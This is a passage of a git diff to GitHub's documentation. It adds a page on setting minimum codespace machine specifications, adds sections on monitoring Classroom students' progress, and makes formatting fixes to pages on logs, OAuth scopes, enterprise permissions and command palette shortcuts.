+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![The delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
+
+## Further reading
+
+- "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
\ No newline at end of file
diff --git a/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md
index be87671b5d..58374ae3e6 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md
@@ -21,6 +21,6 @@ When any member of your organization performs an action related to {% data varia
 
 The audit log includes details such as who performed the action, what the action was, and when the action was performed. For information on {% data variables.product.prodname_codespaces %} actions, see "[{% data variables.product.prodname_codespaces %} category actions](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#codespaces-category-actions)."
 
-## Further Reading
+## Further reading
 
 - "[Reviewing your security logs for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces)"
diff --git a/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md b/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
index 6d65555b85..2ff8167b2c 100644
--- a/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
+++ b/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
@@ -82,6 +82,6 @@ You can update the value of an existing secret, and you can change which reposit
 1. Read the warning, then click **OK**.
   ![Confirmation to delete secret](/assets/images/help/settings/codespaces-secret-delete-warning.png)
 
-## Further Reading
+## Further reading
 
 - "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)"
diff --git a/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
index e9697dc331..a0b5ea1977 100644
--- a/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
+++ b/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md
@@ -24,6 +24,6 @@ When you enable access and security for a repository owned by your user account,
 1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own.
   !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## Further reading
 
 - "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)"
diff --git a/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md b/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md
index 654cc219f3..a647961657 100644
--- a/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md
+++ b/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md
@@ -22,6 +22,6 @@ When you perform an action related to {% data variables.product.prodname_codespa
 
 The security log includes details on what action occurred and when you performed it. For information about {% data variables.product.prodname_codespaces %} actions, see "[{% data variables.product.prodname_codespaces %} category actions](/github/authenticating-to-github/reviewing-your-security-log#codespaces-category-actions)".
 
-## Further Reading
+## Further reading
 
 - "[Reviewing your organization's audit logs for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces)"
diff --git a/content/codespaces/setting-up-your-project-for-codespaces/index.md b/content/codespaces/setting-up-your-project-for-codespaces/index.md
index dd4c7f17c2..fca1611ac4 100644
--- a/content/codespaces/setting-up-your-project-for-codespaces/index.md
+++ b/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -15,5 +15,6 @@ children:
   - /setting-up-your-dotnet-project-for-codespaces
   - /setting-up-your-java-project-for-codespaces
   - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
 ---
 
diff --git a/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..6aec6ba85f
--- /dev/null
+++ b/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,53 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Setting a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+product: '{% data reusables.gated-features.codespaces %}'
+---
+
+## Overview
+
+When you create a codespace for a repository you are typically offered a choice of available machine types. Each machine type has a different level of resources. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements are available for people to select. You configure this in the `devcontainer.json` file.
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+1. {% data variables.product.prodname_codespaces %} for your repository are configured in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. See "[Add a dev container to your project](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+1. Edit the `devcontainer.json` file, adding a `hostRequirements` property such as this:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+   
+   To check the specifications of the {% data variables.product.prodname_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)."
+   
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## Further reading
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project)"
\ No newline at end of file
diff --git a/content/codespaces/troubleshooting/codespaces-logs.md b/content/codespaces/troubleshooting/codespaces-logs.md
index eb074bda04..7c223f33bd 100644
--- a/content/codespaces/troubleshooting/codespaces-logs.md
+++ b/content/codespaces/troubleshooting/codespaces-logs.md
@@ -23,8 +23,6 @@ Information on {% data variables.product.prodname_codespaces %} is output to thr
 
 These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 1. If you are using {% data variables.product.prodname_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug.
@@ -33,7 +31,7 @@ These logs contain detailed information about the codespace, the container, the
 1. If you are using {% data variables.product.prodname_codespaces %} in the browser, right-click on the zip archive of logs from the Explorer view and select **Download…** to download them to your local machine.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs.
@@ -51,8 +49,7 @@ Currently you can't use {% data variables.product.prodname_cli %} to access thes
 
 These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems.
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
 1. Connect to the codespace you want to debug.
@@ -61,7 +58,7 @@ These logs contain information about the container, dev container, and their con
 If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 Open the Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file.
@@ -77,7 +74,7 @@ If you want to share the log with support, you can copy the text from the creati
 To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace logs 
+gh codespace logs
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs).
@@ -95,7 +92,7 @@ gh codespace logs -c <CODESPACE-NAME> > /path/to/logs.txt
 These logs are available for {% data variables.product.prodname_vscode %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_codespaces %} extension or {% data variables.product.prodname_vscode %} editor are having issues that prevent creation or connection.
 
 1. In {% data variables.product.prodname_vscode %}, open the Command Palette.
-1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer. 
+1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer.
 
 From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode %}. You will see logs for GitHub Codespaces, GitHub Authentication, and Git, in addition to any other extensions you have enabled.
 
diff --git a/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
index 25aa8bdc8b..d389962f6c 100644
--- a/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
+++ b/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -16,7 +16,7 @@ Squashing allows you to combine multiple commits in your branch's history into a
 {% data reusables.desktop.current-branch-menu %}
 2. In the list of branches, select the branch that has the commits that you want to squash.
 {% data reusables.desktop.history-tab %}
-4. Select the commits to squash and drop them on the commit you want to combine them with. You can select one commit or select multiple commits using <kbd>⌘</kbd> or <kbd>Shift</kbd>.
+4. Select the commits to squash and drop them on the commit you want to combine them with. You can select one commit or select multiple commits using <kbd>Command</kbd> or <kbd>Shift</kbd>.
   ![squash drag and drop](/assets/images/help/desktop/squash-drag-and-drop.png)
 5. Modify the commit message of your new commit. The commit messages of the selected commits you want to squash are pre-filled into the **Summary** and **Description** fields.
 6. Click **Squash Commits**.
diff --git a/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
index 8471eadaa4..d56371fa67 100644
--- a/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
+++ b/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -74,8 +74,8 @@ Name | Description
 **`admin:gpg_key`** | Fully manage GPG keys.
 &emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
 &emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
-**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."
-**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %}
+**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."{% endif %}
+**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
 
 {% note %}
 
diff --git a/content/developers/webhooks-and-events/events/github-event-types.md b/content/developers/webhooks-and-events/events/github-event-types.md
index 9fc83a14a9..e231c58afb 100644
--- a/content/developers/webhooks-and-events/events/github-event-types.md
+++ b/content/developers/webhooks-and-events/events/github-event-types.md
@@ -1,7 +1,6 @@
 ---
 title: GitHub event types
 intro: 'For the {% data variables.product.prodname_dotcom %} Events API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /v3/activity/event_types
   - /developers/webhooks-and-events/github-event-types
diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
index 7654c97ba3..808f2bc50a 100644
--- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
+++ b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -126,6 +126,16 @@ You can see the teams that are working on or have submitted an assignment in the
   <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
 </div>
 
+## Monitoring students' progress
+The assignment overview page displays information about your assignment acceptances and team progress. You may have different summary information based on the configurations of your assignments.
+
+- **Total teams**: The number of teams that have been created.
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Students not on a team**: The number of students on the Classroom roster who have not yet joined a team.
+-  **Accepted teams**: The number of teams who have accepted this assignment.
+-  **Assignment submissions**: The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing teams**: The number of teams that are currently passing the autograding tests for this assignment.
+
 ## Next steps
 
 - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
index 085d2558c4..e6526e2821 100644
--- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
+++ b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -100,12 +100,21 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+You can see whether a student has joined the classroom and accepted or submitted an assignment in the **Classroom roster** tab for the assignment. You can also link students' {% data variables.product.prodname_dotcom %} aliases to their associated roster identifier and vice versa in this tab. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
   <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
+## Monitoring students' progress
+The assignment overview page provides an overview of your assignment acceptances and student progress. You may have different summary information based on the configurations of your assignments.
+
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Added students**: The number of {% data variables.product.prodname_dotcom %} accounts that have accepted the assignment and are not associated with a roster identifier.
+-  **Accepted students**: The number of accounts have accepted this assignment.
+-  **Assignment submissions**: The number of students that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing students**: The number of students currently passing the autograding tests for this assignment.
+
 ## Next steps
 
 - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
index 31eee9a49a..05dd80d957 100644
--- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
+++ b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -20,7 +20,7 @@ You can use a testing framework, run a custom command, write input/output tests,
 
 You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment.
 
-![Overview for an assignment with autograding results](/assets/images/help/classroom/autograding-hero.png)
+![Overview for an assignment with autograding results](/assets/images/help/classroom/assignment-individual-hero.png)
 
 ## Grading methods
 
diff --git a/content/get-started/learning-about-github/access-permissions-on-github.md b/content/get-started/learning-about-github/access-permissions-on-github.md
index 07127770d3..1c3d381166 100644
--- a/content/get-started/learning-about-github/access-permissions-on-github.md
+++ b/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -37,16 +37,18 @@ Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manag
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
 - "[About teams](/articles/about-teams)"
 
-{% ifversion fpt or ghec %}
-
 ## Enterprise accounts
 
-*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+{% ifversion fpt %}
+{% data reusables.gated-features.enterprise-accounts %} 
 
-If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
-
-{% data reusables.gated-features.enterprise-accounts %}
+For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
 
+{% ifversion ghec %}
+If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+{% endif %}
 {% endif %}
 
 ## Further reading
diff --git a/content/get-started/quickstart/contributing-to-projects.md b/content/get-started/quickstart/contributing-to-projects.md
index 41c80b642e..6dee3d7502 100644
--- a/content/get-started/quickstart/contributing-to-projects.md
+++ b/content/get-started/quickstart/contributing-to-projects.md
@@ -35,7 +35,6 @@ You've successfully forked the Spoon-Knife repository, but so far, it only exist
 
 You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% data variables.product.product_name %}, navigate to **your fork** of the Spoon-Knife repository.
@@ -87,7 +86,6 @@ Go ahead and make a few changes to the project using your favorite text editor,
 
 When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
@@ -116,7 +114,6 @@ When you stage and commit files, you essentially tell Git, "Okay, take a snapsho
 
 Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
diff --git a/content/get-started/quickstart/create-a-repo.md b/content/get-started/quickstart/create-a-repo.md
index d3b24b7e93..bd5cc70f15 100644
--- a/content/get-started/quickstart/create-a-repo.md
+++ b/content/get-started/quickstart/create-a-repo.md
@@ -39,8 +39,6 @@ You can store a variety of projects in {% data variables.product.product_name %}
 
 {% endif %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.create_new %}
@@ -69,8 +67,6 @@ Congratulations! You've successfully created your first repository, and initiali
 
 ## Commit your first change
 
-{% include tool-switcher %}
-
 {% webui %}
 
 A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
diff --git a/content/get-started/quickstart/fork-a-repo.md b/content/get-started/quickstart/fork-a-repo.md
index c9fa67d1cb..145314eb1f 100644
--- a/content/get-started/quickstart/fork-a-repo.md
+++ b/content/get-started/quickstart/fork-a-repo.md
@@ -51,7 +51,6 @@ If you haven't yet, you should first [set up Git](/articles/set-up-git). Don't f
 
 ## Forking a repository
 
-{% include tool-switcher %}
 {% webui %}
 
 You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
@@ -87,7 +86,6 @@ gh repo fork <em>repository</em> --org "octo-org"
 
 Right now, you have a fork of the Spoon-Knife repository, but you don't have the files in that repository locally on your computer.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
@@ -137,7 +135,6 @@ gh repo fork <em>repository</em> --clone=true
 
 When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
diff --git a/content/get-started/using-github/github-command-palette.md b/content/get-started/using-github/github-command-palette.md
index 37b977176b..5bd52d490e 100644
--- a/content/get-started/using-github/github-command-palette.md
+++ b/content/get-started/using-github/github-command-palette.md
@@ -2,8 +2,6 @@
 title: GitHub Command Palette
 intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
 versions:
-  fpt: '*'
-  ghec: '*'
   feature: 'command-palette'
 shortTitle: GitHub Command Palette
 ---
@@ -29,28 +27,28 @@ The ability to run commands directly from your keyboard, without navigating thro
 ## Opening the {% data variables.product.prodname_command_palette %}
 
 Open the command palette using one of the following keyboard shortcuts:
-- Windows and Linux: <kbd>Ctrl</kbd><kbd>k</kbd> or <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> 
-- Mac: <kbd>⌘</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>
+- Windows and Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
 
-When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization). 
+When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization).
 
 ![Command palette launch](/assets/images/help/command-palette/command-palette-launch.png)
 
 {% note %}
 
 **Notes:**
-- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd> (Mac).
+- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> (Mac).
 - If you are working on a project (beta), a project-specific command palette is displayed instead. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
 
 {% endnote %}
 
 ## Navigating with the {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}. 
+You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}.
 
 {% data reusables.command-palette.open-palette %}
 
-2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text. 
+2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text.
 
    ![Command palette navigation current scope](/assets/images/help/command-palette/command-palette-navigation-current-scope.png)
 
@@ -60,22 +58,22 @@ You can use the command palette to navigate to any page that you have access to
 
 4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
 
-5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Searching with the {% data variables.product.prodname_command_palette %}
 
-You can use the command palette to search for anything on {% data variables.product.product_location %}. 
+You can use the command palette to search for anything on {% data variables.product.product_location %}.
 
 {% data reusables.command-palette.open-palette %}
 
 {% data reusables.command-palette.change-scope %}
 
-3. Optionally, use keystrokes to find specific types of resource: 
+3. Optionally, use keystrokes to find specific types of resource:
 
    - <kbd>#</kbd> Search for issues, pull requests, discussions, and projects
    - <kbd>!</kbd> Search for projects
    - <kbd>@</kbd> Search for users, organizations, and repositories
-   - <kbd>/</kbd> Search for files within a repository scope 
+   - <kbd>/</kbd> Search for files within a repository scope
 
    ![Command palette search files](/assets/images/help/command-palette/command-palette-search-files.png)
 
@@ -87,18 +85,18 @@ You can use the command palette to search for anything on {% data variables.prod
 
    {% endtip %}
 
-5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Running commands from the {% data variables.product.prodname_command_palette %}
 
 You can use the {% data variables.product.prodname_command_palette %} to run commands. For example, you can create a new repository or issue, or change your theme. When you run a command, the location for its action is determined by either the underlying page or the scope shown in the command palette.
 
 - Pull request and issue commands always run on the underlying page.
-- Higher-level commands, for example, repository commands, run in the scope shown in the command palette. 
+- Higher-level commands, for example, repository commands, run in the scope shown in the command palette.
 
 For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
 
-1. Use <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+1. Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
 
    ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
